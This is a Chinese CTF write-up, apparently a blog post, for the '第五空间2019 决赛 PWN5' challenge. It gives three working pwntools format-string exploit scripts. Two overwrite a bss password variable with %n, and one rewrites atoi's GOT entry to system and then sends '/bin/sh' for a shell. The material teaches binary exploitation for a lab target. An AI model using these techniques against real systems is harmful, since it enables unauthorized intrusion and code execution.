[第五空间2019 决赛]PWN5——三种方法

文章讲述了针对32位程序中IDAGOT表可写栈溢出的三种攻击方法,包括使用formatstring攻击获取密码、修改atoiGOT表指向system地址以获取shell,以及利用bss段地址进行多次payload发送的技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.检查保护机制

        

  • 32位IDA

  • GOT表可写

  • 栈溢出保护开启

  • 堆栈不可执行

  • 地址随机化未开启

2.使用32位IDA打开该ELF文件

  • main函数
    •  

偏移量为10,32为是栈地址,64位是寄存器

 

 

3.EXP

  • 方法一
    • 思路:
    • 1.在bss段地址输入格式化字符串%10$n
    • 2.atoi把字符转换为整型
    • 3.密码发送str(4),因为网bss段输入了”%10$n“长度为4

     

    #encoding = utf-8
    from pwn import*
    context(os = 'linux',arch = 'i386',log_level = 'debug')
    #p = remote("node4.buuoj.cn",27532)
    p = process("./pwn")
    bss = 0x0804C044
    
    payload = p32(bss) + b'%10$n'
    p.sendline(payload)
    p.recvuntil("your passwd:")
    #gdb.attach(p)
    p.sendline(str(4))
    
    
    p.interactive()

 

  • 方法二
    • 思路:
    • 1.修改atoi的got表为system地址
    • 2.再发送“/bin/sh”,就可以拿到权限了 
#encoding = utf-8
from pwn import*
context(os = 'linux',arch = 'i386',log_level = 'debug')
p = remote("node4.buuoj.cn",25646)
bss = 0x0804C044
elf = ELF("./pwn")
atoi_addr = elf.got['atoi']
system_addr = elf.plt['system']
payload = fmtstr_payload(10,{atoi_addr:system_addr})
p.sendline(payload)
p.send("/bin/sh\x00")
p.interactive()

 

  • 方法三
    •  思路
    • 1.偏移量为10
    • 2.bss段地址为:0x0804C044
    • 3.bss段地址值为:0x10101010
    • 4.发送payload后,再发送密码:0x10101010
    • 5.%10$n显示的是bss的地址,%11$n显示的是bss+1的地址......

 

#encoding = utf-8
from pwn import*
context(os = 'linux',arch = 'i386',log_level = 'debug')
p = remote("node4.buuoj.cn",25646)
bss = 0x0804C044
elf = ELF("./pwn")
payload = p32(bss) + p32(bss+1) + p32(bss+2) + p32(bss+3) + b"%10$n%11$n%12$n%13$n"
p.sendline(payload)
p.recvuntil("your passwd:")
#gdb.attach(p)
p.send(str(0x10101010))

p.interactive()

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值